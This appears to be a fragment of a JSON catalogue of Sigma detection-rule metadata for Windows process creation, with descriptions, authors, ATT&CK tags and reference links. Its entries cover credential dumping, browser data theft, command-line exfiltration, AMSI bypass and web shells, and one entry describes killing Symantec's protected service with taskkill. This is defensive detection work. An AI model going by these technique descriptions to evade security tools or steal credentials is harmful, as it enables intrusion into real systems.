          "car.2016-03-001"
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      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
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      ],
      "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d",
      "value": "HackTool - SharpLdapWhoami Execution"
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    {
      "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_mailboxexport_share.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html",
          "https://youtu.be/5mqid-7zp8k?t=2481",
          "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1",
          "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_mailboxexport_share.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
      "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0",
      "value": "Suspicious PowerShell Mailbox Export to Share"
    },
    {
      "description": "Detects the import of the specified file to the registry with regedit.exe.",
      "meta": {
        "author": "Oddvar Moe, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Legitimate import of keys",
          "Evernote"
        ],
        "filename": "proc_creation_win_regedit_import_keys.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://lolbas-project.github.io/lolbas/Binaries/Regedit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml"
        ],
        "tags": [
          "attack.t1112",
          "attack.defense_evasion"
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      },
      "related": [
        {
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      ],
      "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1",
      "value": "Imports Registry Key From a File"
    },
    {
      "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_amsi_null_bits_bypass.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_null_bits_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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          ],
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        }
      ],
      "uuid": "92a974db-ab84-457f-9ec0-55db83d7a825",
      "value": "Potential AMSI Bypass Using NULL Bits"
    },
    {
      "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/03/11",
        "falsepositive": [
          "Administrative activity",
          "Software installation"
        ],
        "filename": "proc_creation_win_schtasks_creation_temp_folder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation_temp_folder.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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      ],
      "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5",
      "value": "Suspicious Scheduled Task Creation Involving Temp Folder"
    },
    {
      "description": "Detects dump of credentials in VeeamBackup dbo",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sqlcmd_veeam_dump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html",
          "https://thedfirreport.com/2021/12/13/diavol-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53",
      "value": "VeeamBackup Database Credentials Dump Via Sqlcmd.EXE"
    },
    {
      "description": "Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors regularly abuse it to manipulate system processes.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/10",
        "falsepositive": [
          "While sometimes 'Process Hacker is used by legitimate administrators, the execution of Process Hacker must be investigated and allowed on a case by case basis"
        ],
        "filename": "proc_creation_win_pua_process_hacker.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://processhacker.sourceforge.io/",
          "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_process_hacker.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.discovery",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1622",
          "attack.t1564",
          "attack.t1543"
        ]
      },
      "related": [
        {
          "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42",
      "value": "PUA - Process Hacker Execution"
    },
    {
      "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Some false positives could occur with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium"
        ],
        "filename": "proc_creation_win_net_default_accounts_manipulation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/",
          "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html",
          "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b768e71-86f2-4879-b448-81061cbae951",
      "value": "Suspicious Manipulation Of Default Accounts Via Net.EXE"
    },
    {
      "description": "load malicious registered COM objects",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_rundll32_registered_com_objects.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md",
          "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316",
      "value": "Rundll32 Registered COM Objects"
    },
    {
      "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/04/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_hiding_malware_in_fonts_folder.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hiding_malware_in_fonts_folder.yml"
        ],
        "tags": [
          "attack.t1211",
          "attack.t1059",
          "attack.defense_evasion",
          "attack.persistence"
        ]
      },
      "related": [
        {
          "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728",
      "value": "Writing Of Malicious Files To The Fonts Folder"
    },
    {
      "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_copy_browser_data.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_browser_data.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "47147b5b-9e17-4d76-b8d2-7bac24c5ce1b",
      "value": "Potential Browser Data Stealing"
    },
    {
      "description": "Detects the execution of a renamed \"client32.exe\" (NetSupport RAT) via Imphash, Product and OriginalFileName strings",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_netsupport_rat.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "0afbd410-de03-4078-8491-f132303cb67d",
      "value": "Renamed NetSupport RAT Execution"
    },
    {
      "description": "Detects the execution of msiexec.exe from an uncommon directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/11/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msiexec_masquerading.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/200_okay_/status/1194765831911215104",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144",
      "value": "Potential MsiExec Masquerading"
    },
    {
      "description": "Detects a suspicious process spawning from an Outlook process.",
      "meta": {
        "author": "Michael Haag, Florian Roth (Nextron Systems), Markus Neis, Elastic, FPT.EagleEye Team",
        "creation_date": "2022/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_outlook_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100",
          "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d",
      "value": "Suspicious Outlook Child Process"
    },
    {
      "description": "Detects the execution of the builtin \"copy\" command that targets a shadow copy (sometimes used to copy registry hives that are in use)",
      "meta": {
        "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Backup scenarios using the commandline"
        ],
        "filename": "proc_creation_win_cmd_shadowcopy_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection",
          "https://twitter.com/vxunderground/status/1423336151860002816?s=20",
          "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_shadowcopy_access.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1",
      "value": "Copy From VolumeShadowCopy Via Cmd.EXE"
    },
    {
      "description": "Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the \"ActivateMicrosoftApp\" Excel DCOM object.\n",
      "meta": {
        "author": "Aaron Stratton",
        "creation_date": "2023/11/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_excel_dcom_lateral_movement.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922",
          "https://learn.microsoft.com/en-us/office/vba/api/excel.xlmsapplication",
          "https://github.com/grayhatkiller/SharpExShell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_excel_dcom_lateral_movement.yml"
        ],
        "tags": [
          "attack.t1021.003",
          "attack.lateral_movement"
        ]
      },
      "related": [
        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "551d9c1f-816c-445b-a7a6-7a3864720d60",
      "value": "Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp"
    },
    {
      "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "proc_creation_win_msiexec_execute_dll.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_st0pp3r_/status/1583914515996897281",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d",
      "value": "Suspicious Msiexec Execute Arbitrary DLL"
    },
    {
      "description": "Detects RDP session hijacking by using MSTSC shadowing",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/01/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mstsc_rdp_hijack_shadowing.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/kmkz_security/status/1220694202301976576",
          "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_rdp_hijack_shadowing.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1563.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334",
      "value": "Potential MSTSC Shadowing Activity"
    },
    {
      "description": "Detects execution of the \"wusa.exe\" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location.\n",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wusa_susp_parent_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fortinet.com/blog/threat-research/konni-campaign-distributed-via-malicious-document",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_parent_execution.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "ef64fc9c-a45e-43cc-8fd8-7d75d73b4c99",
      "value": "Wusa.EXE Executed By Parent Process Located In Suspicious Location"
    },
    {
      "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/31",
        "falsepositive": [
          "Some installers were seen using this method of creation unfortunately. Filter them in your environment"
        ],
        "filename": "proc_creation_win_schtasks_schedule_type_system.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type_system.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a",
      "value": "Suspicious Schtasks Schedule Type With High Privileges"
    },
    {
      "description": "Detects one of the possible scenarios for disabling Symantec Endpoint Protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n",
      "meta": {
        "author": "Ilya Krestinichev, Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_taskkill_sep.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.exploit-db.com/exploits/37525",
          "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection",
          "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4a6713f6-3331-11ed-a261-0242ac120002",
      "value": "Taskkill Symantec Endpoint Protection"
    },
    {
      "description": "Detects suspicious encoded character syntax often used for defense evasion",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/07/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_obfuscation_via_utf8.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1281103918693482496",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_obfuscation_via_utf8.yml"
        ],
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      },
      "related": [
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      ],
      "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6",
      "value": "Potential PowerShell Obfuscation Via WCHAR"
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    {
      "description": "Detects Obfuscated Powershell via use MSHTA in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml"
        ],
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          "attack.execution",
          "attack.t1059.001"
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      },
      "related": [
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          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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        {
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          "type": "related-to"
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      "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88",
      "value": "Invoke-Obfuscation Via Use MSHTA"
    },
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      "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service",
      "meta": {
        "author": "Elastic (idea), Tobias Michalski (Nextron Systems)",
        "creation_date": "2022/05/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_ntlmrelay.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml",
          "https://twitter.com/med0x2e/status/1520402518685200384",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml"
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        "tags": [
          "attack.privilege_escalation",
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          "attack.t1212"
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      },
      "related": [
        {
          "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
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      "value": "Suspicious NTLM Authentication on the Printer Spooler Service"
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      "description": "Detects potentially suspicious file download from file sharing domains using curl.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_download_susp_file_sharing_domains.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains.yml"
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      "description": "Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation\n",
      "meta": {
        "author": "Thomas Patzke, Florian Roth (Nextron Systems), Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Particular web applications may spawn a shell process legitimately"
        ],
        "filename": "proc_creation_win_webshell_susp_process_spawned_from_webserver.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF",
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        ],
        "tags": [
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          "attack.t1505.003",
          "attack.t1190"
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      },
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        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
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        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
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      "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600",
      "value": "Suspicious Process By Web Server Process"
    },
    {
      "description": "Detects the Installation of a Exchange Transport Agent",
      "meta": {
        "author": "Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/06/08",
        "falsepositive": [
          "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this."
        ],
        "filename": "proc_creation_win_powershell_msexchange_transport_agent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_msexchange_transport_agent.yml"
        ],
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      },
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        {
          "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f",
      "value": "MSExchange Transport Agent Installation"
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      "description": "Detects the use of various CLI utilities exfiltrating data via web requests",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_data_exfiltration_via_cli.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_data_exfiltration_via_cli.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
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      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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      "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab",
      "value": "Potential Data Exfiltration Activity Via CommandLine Tools"
    },
    {
      "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/11",
        "falsepositive": [
          "Administrator, hotline ask to user"
        ],
        "filename": "proc_creation_win_tasklist_basic_execution.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tasklist_basic_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1057"
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      },
      "related": [
        {
          "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
          "tags": [
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      "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/26",
